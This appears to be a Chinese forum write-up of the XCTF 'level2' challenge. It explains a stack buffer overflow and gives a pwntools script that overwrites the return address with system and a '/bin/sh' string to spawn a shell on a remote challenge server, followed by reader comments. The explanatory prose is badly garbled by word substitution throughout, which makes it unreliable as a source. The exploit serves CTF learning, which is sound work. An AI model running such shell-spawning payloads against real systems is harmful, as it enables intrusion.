首页
服装论坛t.vhao.net
专栏
课程

[原创]XCTF攻防世界 level2

2019-5-14 12:09 745

[原创]XCTF攻防世界 level2

2019-5-14 12:09
745

Level2

这是XMAN上之前比赛的一道题,照样挺简单的,ROP的根本入门应用。

检查文件

  • 可以获得的信息有:32位法式榜样;在输入很长的字符串后法式榜样依然正常加入;文件没有开启canary,然则开启了NX。

IDA检查

  • 起首可以看到的是,法式榜样的代码很少,main函数中只调用了一个vulnerable_function()和一个system()。F5看一下:

    确切没有发明其他函数,进入vulnerable_function()函数:

  • 在这里我们看到了一个buf[],然后没有其他内容了,没有对输入做任何限制,这也是为甚么我们一开端输入大年夜量的有效字符法式榜样依然没有任何成绩。

  • 检查一下法式榜样的strings,能够会有其他有效的内容:

    我们看到了system和/bin/sh,这是解出标题标关键。
    我们可以构造一个system("/bin/sh")的伪栈帧,vulnerable_function()履行停止后前往到我们构造的伪栈帧去履行system("bin/sh"),如许便可以获得shell。(须要留意一点,由于我们的目标是经过过程system("bin/sh")来获得shell,所以函数履行完后的前往地址可以随便任性。)

    EXP

    #! /usr/bin/env python
    # -*- coding:utf-8 -*-
    from pwn import *
    context.log_level = 'debug'

    elf = ELF('./level2')
    sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()

    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

    io = remote('111.198.29.45',45800)
    io.sendlineafter("Input:\n",payload)
    io.interactive()
    io.close()

运转成果

  • 根据该标题标提示,应用ROP编程,其实可以大年夜体猜到标题标解题思路,这道标题也是ROP应用的入门教授教化,可以实际懂得一下ROP,为后续的深刻开个门。


[推荐]看雪企服平台,供给安然分析、定制项目开辟、APP等级保护、渗透渗出测试等安然办事!

最后于 2019-5-15 14:29 被有毒编辑 ,缘由:
上传的附件:
上一主题 下一主题
最新答复 (4)
xuenixiang 1 2019-5-15 07:56
2
0
能上传一下标题吗?
有毒 2019-5-15 14:29
3
0
xuenixiang 能上传一下标题吗?
曾经上传标题
xuenixiang 1 2019-5-15 14:58
4
0
有毒 曾经上传标题
感谢~
罗小墨 2019-5-17 00:18
5
0
这也不算rop吧,算个ret2text
旅客
登录 | 注册 方可回帖
前往